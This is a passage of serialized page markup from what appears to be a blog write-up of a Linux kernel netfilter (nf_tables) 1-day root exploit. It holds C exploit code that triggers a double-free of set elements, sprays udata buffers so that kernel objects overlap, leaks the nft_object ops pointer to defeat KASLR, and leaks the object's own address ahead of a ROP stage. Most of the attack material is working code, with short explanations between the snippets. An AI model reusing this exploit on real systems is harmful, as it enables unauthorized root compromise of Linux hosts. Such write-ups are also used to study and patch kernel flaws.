nftnl_set_alloc();\n",{"type":23,"tag":41,"props":54796,"children":54797},{"class":43,"line":9106},[54798,54803],{"type":23,"tag":41,"props":54799,"children":54800},{"style":114},[54801],{"type":28,"value":54802},"    nftnl_set_set_u32",{"type":23,"tag":41,"props":54804,"children":54805},{"style":70},[54806],{"type":28,"value":54807},"(set, NFTNL_SET_FAMILY, family);\n",{"type":23,"tag":41,"props":54809,"children":54810},{"class":43,"line":9212},[54811,54816],{"type":23,"tag":41,"props":54812,"children":54813},{"style":114},[54814],{"type":28,"value":54815},"    nftnl_set_set_str",{"type":23,"tag":41,"props":54817,"children":54818},{"style":70},[54819],{"type":28,"value":54820},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":23,"tag":41,"props":54822,"children":54823},{"class":43,"line":23496},[54824,54828,54833,54837],{"type":23,"tag":41,"props":54825,"children":54826},{"style":114},[54827],{"type":28,"value":54815},{"type":23,"tag":41,"props":54829,"children":54830},{"style":70},[54831],{"type":28,"value":54832},"(set, NFTNL_SET_NAME, ",{"type":23,"tag":41,"props":54834,"children":54835},{"style":735},[54836],{"type":28,"value":54431},{"type":23,"tag":41,"props":54838,"children":54839},{"style":70},[54840],{"type":28,"value":3825},{"type":23,"tag":41,"props":54842,"children":54843},{"class":43,"line":23531},[54844],{"type":23,"tag":41,"props":54845,"children":54846},{"emptyLinePlaceholder":18},[54847],{"type":28,"value":82},{"type":23,"tag":41,"props":54849,"children":54850},{"class":43,"line":23539},[54851],{"type":23,"tag":41,"props":54852,"children":54853},{"style":48},[54854],{"type":28,"value":54855},"    // make priv->dirty true\n",{"type":23,"tag":41,"props":54857,"children":54858},{"class":43,"line":23547},[54859,54864,54868,54873],{"type":23,"tag":41,"props":54860,"children":54861},{"style":114},[54862],{"type":28,"value":54863},"    memset",{"type":23,"tag":41,"props":54865,"children":54866},{"style":70},[54867],{"type":28,"value":54617},{"type":23,"tag":41,"props":54869,"children":54870},{"style":164},[54871],{"type":28,"value":54872},"0xff",{"type":23,"tag":41,"props":54874,"children":54875},{"style":70},[54876],{"type":28,"value":54877},", KEY_LEN);\n",{"type":23,"tag":41,"props":54879,"children":54880},{"class":43,"line":23556},[54881,54886,54890,54894,54898,54902,54906],{"type":23,"tag":41,"props":54882,"children":54883},{"style":858},[54884],{"type":28,"value":54885},"    elem",{"type":23,"tag":41,"props":54887,"children":54888},{"style":70},[54889],{"type":28,"value":312},{"type":23,"tag":41,"props":54891,"children":54892},{"style":164},[54893],{"type":28,"value":17282},{"type":23,"tag":41,"props":54895,"children":54896},{"style":70},[54897],{"type":28,"value":8659},{"type":23,"tag":41,"props":54899,"children":54900},{"style":170},[54901],{"type":28,"value":2381},{"type":23,"tag":41,"props":54903,"children":54904},{"style":114},[54905],{"type":28,"value":54600},{"type":23,"tag":41,"props":54907,"children":54908},{"style":70},[54909],{"type":28,"value":3669},{"type":23,"tag":41,"props":54911,"children":54912},{"class":43,"line":23598},[54913,54918,54922,54926,54930,54934,54939,54943,54947,54951],{"type":23,"tag":41,"props":54914,"children":54915},{"style":114},[54916],{"type":28,"value":54917},"    nftnl_set_elem_set",{"type":23,"tag":41,"props":54919,"children":54920},{"style":70},[54921],{"type":28,"value":1737},{"type":23,"tag":41,"props":54923,"children":54924},{"style":858},[54925],{"type":28,"value":52059},{"type":23,"tag":41,"props":54927,"children":54928},{"style":70},[54929],{"type":28,"value":312},{"type":23,"tag":41,"props":54931,"children":54932},{"style":164},[54933],{"type":28,"value":17282},{"type":23,"tag":41,"props":54935,"children":54936},{"style":70},[54937],{"type":28,"value":54938},"], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":41,"props":54940,"children":54941},{"style":735},[54942],{"type":28,"value":54657},{"type":23,"tag":41,"props":54944,"children":54945},{"style":70},[54946],{"type":28,"value":970},{"type":23,"tag":41,"props":54948,"children":54949},{"style":164},[54950],{"type":28,"value":54666},{"type":23,"tag":41,"props":54952,"children":54953},{"style":70},[54954],{"type":28,"value":3825},{"type":23,"tag":41,"props":54956,"children":54957},{"class":43,"line":23631},[54958,54962,54966,54970,54974,54978,54983,54987],{"type":23,"tag":41,"props":54959,"children":54960},{"style":114},[54961],{"type":28,"value":54917},{"type":23,"tag":41,"props":54963,"children":54964},{"style":70},[54965],{"type":28,"value":1737},{"type":23,"tag":41,"props":54967,"children":54968},{"style":858},[54969],{"type":28,"value":52059},{"type":23,"tag":41,"props":54971,"children":54972},{"style":70},[54973],{"type":28,"value":312},{"type":23,"tag":41,"props":54975,"children":54976},{"style":164},[54977],{"type":28,"value":17282},{"type":23,"tag":41,"props":54979,"children":54980},{"style":70},[54981],{"type":28,"value":54982},"], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":41,"props":54984,"children":54985},{"style":170},[54986],{"type":28,"value":855},{"type":23,"tag":41,"props":54988,"children":54989},{"style":70},[54990],{"type":28,"value":54699},{"type":23,"tag":41,"props":54992,"children":54993},{"class":43,"line":23639},[54994,54999,55003,55007,55011,55015],{"type":23,"tag":41,"props":54995,"children":54996},{"style":114},[54997],{"type":28,"value":54998},"    nftnl_set_elem_add",{"type":23,"tag":41,"props":55000,"children":55001},{"style":70},[55002],{"type":28,"value":54741},{"type":23,"tag":41,"props":55004,"children":55005},{"style":858},[55006],{"type":28,"value":52059},{"type":23,"tag":41,"props":55008,"children":55009},{"style":70},[55010],{"type":28,"value":312},{"type":23,"tag":41,"props":55012,"children":55013},{"style":164},[55014],{"type":28,"value":17282},{"type":23,"tag":41,"props":55016,"children":55017},{"style":70},[55018],{"type":28,"value":3751},{"type":23,"tag":41,"props":55020,"children":55021},{"class":43,"line":23647},[55022],{"type":23,"tag":41,"props":55023,"children":55024},{"style":70},[55025],{"type":28,"value":10316},{"type":23,"tag":41,"props":55027,"children":55028},{"class":43,"line":23656},[55029],{"type":23,"tag":41,"props":55030,"children":55031},{"emptyLinePlaceholder":18},[55032],{"type":28,"value":82},{"type":23,"tag":41,"props":55034,"children":55035},{"class":43,"line":23732},[55036],{"type":23,"tag":41,"props":55037,"children":55038},{"style":70},[55039],{"type":28,"value":55040},"    // double-free commited elems\n",{"type":23,"tag":41,"props":55042,"children":55043},{"class":43,"line":23765},[55044],{"type":23,"tag":41,"props":55045,"children":55046},{"style":70},[55047],{"type":28,"value":10316},{"type":23,"tag":41,"props":55049,"children":55050},{"class":43,"line":23773},[55051,55056,55060],{"type":23,"tag":41,"props":55052,"children":55053},{"style":70},[55054],{"type":28,"value":55055},"    nftnl_set_free(",{"type":23,"tag":41,"props":55057,"children":55058},{"style":94},[55059],{"type":28,"value":51014},{"type":23,"tag":41,"props":55061,"children":55062},{"style":70},[55063],{"type":28,"value":3825},{"type":23,"tag":41,"props":55065,"children":55066},{"class":43,"line":23781},[55067],{"type":23,"tag":41,"props":55068,"children":55069},{"style":70},[55070],{"type":28,"value":201},{"type":23,"tag":41,"props":55072,"children":55073},{"class":43,"line":23818},[55074],{"type":23,"tag":41,"props":55075,"children":55076},{"style":70},[55077],{"type":28,"value":10316},{"type":23,"tag":546,"props":55079,"children":55081},{"id":55080},"leaking-kaslr",[55082],{"type":28,"value":55083},"Leaking KASLR",{"type":23,"tag":24,"props":55085,"children":55086},{},[55087,55089,55095,55097,55102,55104,55110,55112,55118,55120],{"type":28,"value":55088},"Tables contain an outline user data buffer ",{"type":23,"tag":37,"props":55090,"children":55092},{"className":55091},[],[55093],{"type":28,"value":55094},"udata",{"type":28,"value":55096}," that we can both read and write. By allocating a ",{"type":23,"tag":37,"props":55098,"children":55100},{"className":55099},[],[55101],{"type":28,"value":55094},{"type":28,"value":55103}," buffer on the double-free slot and then overlapping it with an ",{"type":23,"tag":37,"props":55105,"children":55107},{"className":55106},[],[55108],{"type":28,"value":55109},"nft_object",{"type":28,"value":55111}," we can leak the ",{"type":23,"tag":37,"props":55113,"children":55115},{"className":55114},[],[55116],{"type":28,"value":55117},"->ops",{"type":28,"value":55119}," pointer, and use it to calculate the KASLR slide.\n",{"type":23,"tag":3918,"props":55121,"children":55123},{"alt":50573,"src":55122},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":23,"tag":31,"props":55125,"children":55127},{"className":356,"code":55126,"language":355,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[55128],{"type":23,"tag":37,"props":55129,"children":55130},{"__ignoreMap":7},[55131,55138,55146,55181,55188,55196,55221,55248,55299,55306,55339,55365,55372,55437,55444,55465,55472,55479,55487,55495,55516,55545,55557,55601,55657],{"type":23,"tag":41,"props":55132,"children":55133},{"class":43,"line":44},[55134],{"type":23,"tag":41,"props":55135,"children":55136},{"style":70},[55137],{"type":28,"value":10316},{"type":23,"tag":41,"props":55139,"children":55140},{"class":43,"line":54},[55141],{"type":23,"tag":41,"props":55142,"children":55143},{"style":70},[55144],{"type":28,"value":55145},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":23,"tag":41,"props":55147,"children":55148},{"class":43,"line":76},[55149,55154,55158,55163,55168,55173,55177],{"type":23,"tag":41,"props":55150,"children":55151},{"style":70},[55152],{"type":28,"value":55153},"    udata_spray(",{"type":23,"tag":41,"props":55155,"children":55156},{"style":94},[55157],{"type":28,"value":54285},{"type":23,"tag":41,"props":55159,"children":55160},{"style":70},[55161],{"type":28,"value":55162},", 0",{"type":23,"tag":41,"props":55164,"children":55165},{"style":94},[55166],{"type":28,"value":55167},"xe8",{"type":23,"tag":41,"props":55169,"children":55170},{"style":70},[55171],{"type":28,"value":55172},", 0, 3, ",{"type":23,"tag":41,"props":55174,"children":55175},{"style":94},[55176],{"type":28,"value":54491},{"type":23,"tag":41,"props":55178,"children":55179},{"style":70},[55180],{"type":28,"value":3825},{"type":23,"tag":41,"props":55182,"children":55183},{"class":43,"line":85},[55184],{"type":23,"tag":41,"props":55185,"children":55186},{"emptyLinePlaceholder":18},[55187],{"type":28,"value":82},{"type":23,"tag":41,"props":55189,"children":55190},{"class":43,"line":105},[55191],{"type":23,"tag":41,"props":55192,"children":55193},{"style":48},[55194],{"type":28,"value":55195},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":23,"tag":41,"props":55197,"children":55198},{"class":43,"line":155},[55199,55204,55209,55213,55217],{"type":23,"tag":41,"props":55200,"children":55201},{"style":64},[55202],{"type":28,"value":55203},"    char",{"type":23,"tag":41,"props":55205,"children":55206},{"style":858},[55207],{"type":28,"value":55208}," spray_name",{"type":23,"tag":41,"props":55210,"children":55211},{"style":70},[55212],{"type":28,"value":312},{"type":23,"tag":41,"props":55214,"children":55215},{"style":164},[55216],{"type":28,"value":40837},{"type":23,"tag":41,"props":55218,"children":55219},{"style":70},[55220],{"type":28,"value":31568},{"type":23,"tag":41,"props":55222,"children":55223},{"class":43,"line":186},[55224,55228,55232,55236,55240,55244],{"type":23,"tag":41,"props":55225,"children":55226},{"style":64},[55227],{"type":28,"value":55203},{"type":23,"tag":41,"props":55229,"children":55230},{"style":170},[55231],{"type":28,"value":9814},{"type":23,"tag":41,"props":55233,"children":55234},{"style":858},[55235],{"type":28,"value":55094},{"type":23,"tag":41,"props":55237,"children":55238},{"style":70},[55239],{"type":28,"value":312},{"type":23,"tag":41,"props":55241,"children":55242},{"style":164},[55243],{"type":28,"value":17282},{"type":23,"tag":41,"props":55245,"children":55246},{"style":70},[55247],{"type":28,"value":31568},{"type":23,"tag":41,"props":55249,"children":55250},{"class":43,"line":195},[55251,55255,55259,55263,55267,55271,55275,55279,55283,55287,55291,55295],{"type":23,"tag":41,"props":55252,"children":55253},{"style":58},[55254],{"type":28,"value":3034},{"type":23,"tag":41,"props":55256,"children":55257},{"style":70},[55258],{"type":28,"value":142},{"type":23,"tag":41,"props":55260,"children":55261},{"style":64},[55262],{"type":28,"value":1124},{"type":23,"tag":41,"props":55264,"children":55265},{"style":70},[55266],{"type":28,"value":54539},{"type":23,"tag":41,"props":55268,"children":55269},{"style":170},[55270],{"type":28,"value":2381},{"type":23,"tag":41,"props":55272,"children":55273},{"style":164},[55274],{"type":28,"value":392},{"type":23,"tag":41,"props":55276,"children":55277},{"style":70},[55278],{"type":28,"value":51228},{"type":23,"tag":41,"props":55280,"children":55281},{"style":170},[55282],{"type":28,"value":1012},{"type":23,"tag":41,"props":55284,"children":55285},{"style":164},[55286],{"type":28,"value":19086},{"type":23,"tag":41,"props":55288,"children":55289},{"style":70},[55290],{"type":28,"value":51259},{"type":23,"tag":41,"props":55292,"children":55293},{"style":170},[55294],{"type":28,"value":51264},{"type":23,"tag":41,"props":55296,"children":55297},{"style":70},[55298],{"type":28,"value":1969},{"type":23,"tag":41,"props":55300,"children":55301},{"class":43,"line":905},[55302],{"type":23,"tag":41,"props":55303,"children":55304},{"style":70},[55305],{"type":28,"value":1711},{"type":23,"tag":41,"props":55307,"children":55308},{"class":43,"line":922},[55309,55314,55319,55324,55329,55334],{"type":23,"tag":41,"props":55310,"children":55311},{"style":114},[55312],{"type":28,"value":55313},"        snprintf",{"type":23,"tag":41,"props":55315,"children":55316},{"style":70},[55317],{"type":28,"value":55318},"(spray_name, ",{"type":23,"tag":41,"props":55320,"children":55321},{"style":64},[55322],{"type":28,"value":55323},"sizeof",{"type":23,"tag":41,"props":55325,"children":55326},{"style":70},[55327],{"type":28,"value":55328},"(spray_name), ",{"type":23,"tag":41,"props":55330,"children":55331},{"style":735},[55332],{"type":28,"value":55333},"\"spray-%i\"",{"type":23,"tag":41,"props":55335,"children":55336},{"style":70},[55337],{"type":28,"value":55338},", i);\n",{"type":23,"tag":41,"props":55340,"children":55341},{"class":43,"line":930},[55342,55347,55351,55355,55360],{"type":23,"tag":41,"props":55343,"children":55344},{"style":858},[55345],{"type":28,"value":55346},"        udata",{"type":23,"tag":41,"props":55348,"children":55349},{"style":70},[55350],{"type":28,"value":54591},{"type":23,"tag":41,"props":55352,"children":55353},{"style":170},[55354],{"type":28,"value":2381},{"type":23,"tag":41,"props":55356,"children":55357},{"style":114},[55358],{"type":28,"value":55359}," getudata",{"type":23,"tag":41,"props":55361,"children":55362},{"style":70},[55363],{"type":28,"value":55364},"(nl, spray_name);\n",{"type":23,"tag":41,"props":55366,"children":55367},{"class":43,"line":939},[55368],{"type":23,"tag":41,"props":55369,"children":55370},{"style":70},[55371],{"type":28,"value":192},{"type":23,"tag":41,"props":55373,"children":55374},{"class":43,"line":947},[55375,55379,55383,55387,55391,55395,55399,55403,55407,55411,55416,55420,55424,55428,55432],{"type":23,"tag":41,"props":55376,"children":55377},{"style":58},[55378],{"type":28,"value":2440},{"type":23,"tag":41,"props":55380,"children":55381},{"style":70},[55382],{"type":28,"value":142},{"type":23,"tag":41,"props":55384,"children":55385},{"style":858},[55386],{"type":28,"value":55094},{"type":23,"tag":41,"props":55388,"children":55389},{"style":70},[55390],{"type":28,"value":312},{"type":23,"tag":41,"props":55392,"children":55393},{"style":164},[55394],{"type":28,"value":4024},{"type":23,"tag":41,"props":55396,"children":55397},{"style":70},[55398],{"type":28,"value":48952},{"type":23,"tag":41,"props":55400,"children":55401},{"style":164},[55402],{"type":28,"value":4024},{"type":23,"tag":41,"props":55404,"children":55405},{"style":70},[55406],{"type":28,"value":8659},{"type":23,"tag":41,"props":55408,"children":55409},{"style":170},[55410],{"type":28,"value":387},{"type":23,"tag":41,"props":55412,"children":55413},{"style":858},[55414],{"type":28,"value":55415}," udata",{"type":23,"tag":41,"props":55417,"children":55418},{"style":70},[55419],{"type":28,"value":312},{"type":23,"tag":41,"props":55421,"children":55422},{"style":164},[55423],{"type":28,"value":3123},{"type":23,"tag":41,"props":55425,"children":55426},{"style":70},[55427],{"type":28,"value":48952},{"type":23,"tag":41,"props":55429,"children":55430},{"style":164},[55431],{"type":28,"value":4024},{"type":23,"tag":41,"props":55433,"children":55434},{"style":70},[55435],{"type":28,"value":55436},"])\n",{"type":23,"tag":41,"props":55438,"children":55439},{"class":43,"line":985},[55440],{"type":23,"tag":41,"props":55441,"children":55442},{"style":70},[55443],{"type":28,"value":1711},{"type":23,"tag":41,"props":55445,"children":55446},{"class":43,"line":1058},[55447,55452,55456,55461],{"type":23,"tag":41,"props":55448,"children":55449},{"style":114},[55450],{"type":28,"value":55451},"        puts",{"type":23,"tag":41,"props":55453,"children":55454},{"style":70},[55455],{"type":28,"value":1737},{"type":23,"tag":41,"props":55457,"children":55458},{"style":735},[55459],{"type":28,"value":55460},"\"[+] got duplicated table\"",{"type":23,"tag":41,"props":55462,"children":55463},{"style":70},[55464],{"type":28,"value":3825},{"type":23,"tag":41,"props":55466,"children":55467},{"class":43,"line":1084},[55468],{"type":23,"tag":41,"props":55469,"children":55470},{"style":70},[55471],{"type":28,"value":192},{"type":23,"tag":41,"props":55473,"children":55474},{"class":43,"line":1102},[55475],{"type":23,"tag":41,"props":55476,"children":55477},{"emptyLinePlaceholder":18},[55478],{"type":28,"value":82},{"type":23,"tag":41,"props":55480,"children":55481},{"class":43,"line":1110},[55482],{"type":23,"tag":41,"props":55483,"children":55484},{"style":48},[55485],{"type":28,"value":55486},"    // Replace one of the udata buffers with nft_object\n",{"type":23,"tag":41,"props":55488,"children":55489},{"class":43,"line":1118},[55490],{"type":23,"tag":41,"props":55491,"children":55492},{"style":48},[55493],{"type":28,"value":55494},"    // and read it's counterpart to leak the nft_object struct\n",{"type":23,"tag":41,"props":55496,"children":55497},{"class":43,"line":1137},[55498,55503,55507,55512],{"type":23,"tag":41,"props":55499,"children":55500},{"style":114},[55501],{"type":28,"value":55502},"    puts",{"type":23,"tag":41,"props":55504,"children":55505},{"style":70},[55506],{"type":28,"value":1737},{"type":23,"tag":41,"props":55508,"children":55509},{"style":735},[55510],{"type":28,"value":55511},"\"[*] Info leak\"",{"type":23,"tag":41,"props":55513,"children":55514},{"style":70},[55515],{"type":28,"value":3825},{"type":23,"tag":41,"props":55517,"children":55518},{"class":43,"line":1163},[55519,55524,55529,55533,55537,55541],{"type":23,"tag":41,"props":55520,"children":55521},{"style":114},[55522],{"type":28,"value":55523},"    deludata_spray",{"type":23,"tag":41,"props":55525,"children":55526},{"style":70},[55527],{"type":28,"value":55528},"(nl, ",{"type":23,"tag":41,"props":55530,"children":55531},{"style":164},[55532],{"type":28,"value":4024},{"type":23,"tag":41,"props":55534,"children":55535},{"style":70},[55536],{"type":28,"value":970},{"type":23,"tag":41,"props":55538,"children":55539},{"style":164},[55540],{"type":28,"value":317},{"type":23,"tag":41,"props":55542,"children":55543},{"style":70},[55544],{"type":28,"value":3825},{"type":23,"tag":41,"props":55546,"children":55547},{"class":43,"line":1188},[55548,55553],{"type":23,"tag":41,"props":55549,"children":55550},{"style":114},[55551],{"type":28,"value":55552},"    wait_destroyer",{"type":23,"tag":41,"props":55554,"children":55555},{"style":70},[55556],{"type":28,"value":3669},{"type":23,"tag":41,"props":55558,"children":55559},{"class":43,"line":1979},[55560,55565,55569,55573,55577,55581,55585,55589,55593,55597],{"type":23,"tag":41,"props":55561,"children":55562},{"style":114},[55563],{"type":28,"value":55564},"    obj_spray",{"type":23,"tag":41,"props":55566,"children":55567},{"style":70},[55568],{"type":28,"value":55528},{"type":23,"tag":41,"props":55570,"children":55571},{"style":164},[55572],{"type":28,"value":4024},{"type":23,"tag":41,"props":55574,"children":55575},{"style":70},[55576],{"type":28,"value":970},{"type":23,"tag":41,"props":55578,"children":55579},{"style":164},[55580],{"type":28,"value":317},{"type":23,"tag":41,"props":55582,"children":55583},{"style":70},[55584],{"type":28,"value":970},{"type":23,"tag":41,"props":55586,"children":55587},{"style":64},[55588],{"type":28,"value":54491},{"type":23,"tag":41,"props":55590,"children":55591},{"style":70},[55592],{"type":28,"value":970},{"type":23,"tag":41,"props":55594,"children":55595},{"style":164},[55596],{"type":28,"value":4024},{"type":23,"tag":41,"props":55598,"children":55599},{"style":70},[55600],{"type":28,"value":3825},{"type":23,"tag":41,"props":55602,"children":55603},{"class":43,"line":2002},[55604,55609,55613,55618,55622,55626,55631,55635,55639,55644,55648,55653],{"type":23,"tag":41,"props":55605,"children":55606},{"style":64},[55607],{"type":28,"value":55608},"    uint64_t",{"type":23,"tag":41,"props":55610,"children":55611},{"style":170},[55612],{"type":28,"value":9814},{"type":23,"tag":41,"props":55614,"children":55615},{"style":70},[55616],{"type":28,"value":55617},"fake_obj ",{"type":23,"tag":41,"props":55619,"children":55620},{"style":170},[55621],{"type":28,"value":2381},{"type":23,"tag":41,"props":55623,"children":55624},{"style":70},[55625],{"type":28,"value":142},{"type":23,"tag":41,"props":55627,"children":55628},{"style":64},[55629],{"type":28,"value":55630},"uint64_t",{"type":23,"tag":41,"props":55632,"children":55633},{"style":170},[55634],{"type":28,"value":9814},{"type":23,"tag":41,"props":55636,"children":55637},{"style":70},[55638],{"type":28,"value":2678},{"type":23,"tag":41,"props":55640,"children":55641},{"style":114},[55642],{"type":28,"value":55643},"getudata",{"type":23,"tag":41,"props":55645,"children":55646},{"style":70},[55647],{"type":28,"value":55528},{"type":23,"tag":41,"props":55649,"children":55650},{"style":735},[55651],{"type":28,"value":55652},"\"spray-2\"",{"type":23,"tag":41,"props":55654,"children":55655},{"style":70},[55656],{"type":28,"value":3825},{"type":23,"tag":41,"props":55658,"children":55659},{"class":43,"line":3835},[55660],{"type":23,"tag":41,"props":55661,"children":55662},{"style":70},[55663],{"type":28,"value":10316},{"type":23,"tag":546,"props":55665,"children":55667},{"id":55666},"leaking-self-pointer-of-nft_object",[55668,55670],{"type":28,"value":55669},"Leaking self pointer of ",{"type":23,"tag":37,"props":55671,"children":55673},{"className":55672},[],[55674],{"type":28,"value":55109},{"type":23,"tag":24,"props":55676,"children":55677},{},[55678,55680,55685,55687,55692,55694,55699,55701,55707],{"type":28,"value":55679},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":23,"tag":37,"props":55681,"children":55683},{"className":55682},[],[55684],{"type":28,"value":55109},{"type":28,"value":55686}," to get its own address. This is possible because the ",{"type":23,"tag":37,"props":55688,"children":55690},{"className":55689},[],[55691],{"type":28,"value":55109},{"type":28,"value":55693}," has a ",{"type":23,"tag":37,"props":55695,"children":55697},{"className":55696},[],[55698],{"type":28,"value":55094},{"type":28,"value":55700}," pointer (similar to ",{"type":23,"tag":37,"props":55702,"children":55704},{"className":55703},[],[55705],{"type":28,"value":55706},"table->udata",{"type":28,"value":55708}," that I used for leaking KASLR), that I can use to read/write data.",{"type":23,"tag":24,"props":55710,"children":55711},{},[55712,55713,55718,55720,55726,55728,55733,55735,55741,55743,55749,55751,55756,55758,55763,55765,55770,55772],{"type":28,"value":16601},{"type":23,"tag":37,"props":55714,"children":55716},{"className":55715},[],[55717],{"type":28,"value":55109},{"type":28,"value":55719}," struct also contains a ",{"type":23,"tag":37,"props":55721,"children":55723},{"className":55722},[],[55724],{"type":28,"value":55725},"list_head",{"type":28,"value":55727}," inserted in a circular list containing all ",{"type":23,"tag":37,"props":55729,"children":55731},{"className":55730},[],[55732],{"type":28,"value":55109},{"type":28,"value":55734},"'s that belong to a given ",{"type":23,"tag":37,"props":55736,"children":55738},{"className":55737},[],[55739],{"type":28,"value":55740},"table",{"type":28,"value":55742},". Considering that our object is currently alone in its table, the ",{"type":23,"tag":37,"props":55744,"children":55746},{"className":55745},[],[55747],{"type":28,"value":55748},"table->list.next",{"type":28,"value":55750}," pointer in the ",{"type":23,"tag":37,"props":55752,"children":55754},{"className":55753},[],[55755],{"type":28,"value":55109},{"type":28,"value":55757}," will point back to the ",{"type":23,"tag":37,"props":55759,"children":55761},{"className":55760},[],[55762],{"type":28,"value":55725},{"type":28,"value":55764}," contained in the ",{"type":23,"tag":37,"props":55766,"children":55768},{"className":55767},[],[55769],{"type":28,"value":55740},{"type":28,"value":55771}," and vice-versa.\n",{"type":23,"tag":3918,"props":55773,"children":55775},{"alt":50573,"src":55774},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":23,"tag":24,"props":55777,"children":55778},{},[55779,55781,55786,55788,55793,55795,55801,55803,55808,55809,55814,55816,55821,55823,55828],{"type":28,"value":55780},"In short, that means that if we swap the ",{"type":23,"tag":37,"props":55782,"children":55784},{"className":55783},[],[55785],{"type":28,"value":55094},{"type":28,"value":55787}," pointer of the ",{"type":23,"tag":37,"props":55789,"children":55791},{"className":55790},[],[55792],{"type":28,"value":55109},{"type":28,"value":55794}," with its own ",{"type":23,"tag":37,"props":55796,"children":55798},{"className":55797},[],[55799],{"type":28,"value":55800},"list.next",{"type":28,"value":55802}," pointer we should be able to read a pointer back to the ",{"type":23,"tag":37,"props":55804,"children":55806},{"className":55805},[],[55807],{"type":28,"value":55109},{"type":28,"value":52334},{"type":23,"tag":37,"props":55810,"children":55812},{"className":55811},[],[55813],{"type":28,"value":55725},{"type":28,"value":55815}," which is also the start of the ",{"type":23,"tag":37,"props":55817,"children":55819},{"className":55818},[],[55820],{"type":28,"value":55109},{"type":28,"value":55822}," itself.\n",{"type":23,"tag":510,"props":55824,"children":55825},{},[55826],{"type":28,"value":55827},"NOTE:",{"type":28,"value":55829}," This is a novel small trick.",{"type":23,"tag":31,"props":55831,"children":55833},{"className":356,"code":55832,"language":355,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[55834],{"type":23,"tag":37,"props":55835,"children":55836},{"__ignoreMap":7},[55837,55844,55852,55865,55913,55940,55951,55989,55996,56025,56055],{"type":23,"tag":41,"props":55838,"children":55839},{"class":43,"line":44},[55840],{"type":23,"tag":41,"props":55841,"children":55842},{"style":70},[55843],{"type":28,"value":10316},{"type":23,"tag":41,"props":55845,"children":55846},{"class":43,"line":54},[55847],{"type":23,"tag":41,"props":55848,"children":55849},{"style":70},[55850],{"type":28,"value":55851},"    // Leak nft_object ptr using table linked list\n",{"type":23,"tag":41,"props":55853,"children":55854},{"class":43,"line":76},[55855,55860],{"type":23,"tag":41,"props":55856,"children":55857},{"style":70},[55858],{"type":28,"value":55859},"    fake_obj[8] = 8;",{"type":23,"tag":41,"props":55861,"children":55862},{"style":48},[55863],{"type":28,"value":55864},"           // ulen = 8\n",{"type":23,"tag":41,"props":55866,"children":55867},{"class":43,"line":85},[55868,55873,55877,55882,55886,55890,55895,55899,55903,55908],{"type":23,"tag":41,"props":55869,"children":55870},{"style":858},[55871],{"type":28,"value":55872},"    fake_obj",{"type":23,"tag":41,"props":55874,"children":55875},{"style":70},[55876],{"type":28,"value":312},{"type":23,"tag":41,"props":55878,"children":55879},{"style":164},[55880],{"type":28,"value":55881},"9",{"type":23,"tag":41,"props":55883,"children":55884},{"style":70},[55885],{"type":28,"value":8659},{"type":23,"tag":41,"props":55887,"children":55888},{"style":170},[55889],{"type":28,"value":2381},{"type":23,"tag":41,"props":55891,"children":55892},{"style":858},[55893],{"type":28,"value":55894}," fake_obj",{"type":23,"tag":41,"props":55896,"children":55897},{"style":70},[55898],{"type":28,"value":312},{"type":23,"tag":41,"props":55900,"children":55901},{"style":164},[55902],{"type":28,"value":4024},{"type":23,"tag":41,"props":55904,"children":55905},{"style":70},[55906],{"type":28,"value":55907},"];",{"type":23,"tag":41,"props":55909,"children":55910},{"style":48},[55911],{"type":28,"value":55912}," // udata = list->next\n",{"type":23,"tag":41,"props":55914,"children":55915},{"class":43,"line":105},[55916,55920,55924,55928,55932,55936],{"type":23,"tag":41,"props":55917,"children":55918},{"style":114},[55919],{"type":28,"value":55523},{"type":23,"tag":41,"props":55921,"children":55922},{"style":70},[55923],{"type":28,"value":55528},{"type":23,"tag":41,"props":55925,"children":55926},{"style":164},[55927],{"type":28,"value":3123},{"type":23,"tag":41,"props":55929,"children":55930},{"style":70},[55931],{"type":28,"value":970},{"type":23,"tag":41,"props":55933,"children":55934},{"style":164},[55935],{"type":28,"value":317},{"type":23,"tag":41,"props":55937,"children":55938},{"style":70},[55939],{"type":28,"value":3825},{"type":23,"tag":41,"props":55941,"children":55942},{"class":43,"line":155},[55943,55947],{"type":23,"tag":41,"props":55944,"children":55945},{"style":114},[55946],{"type":28,"value":55552},{"type":23,"tag":41,"props":55948,"children":55949},{"style":70},[55950],{"type":28,"value":3669},{"type":23,"tag":41,"props":55952,"children":55953},{"class":43,"line":186},[55954,55959,55963,55968,55972,55976,55980,55984],{"type":23,"tag":41,"props":55955,"children":55956},{"style":114},[55957],{"type":28,"value":55958},"    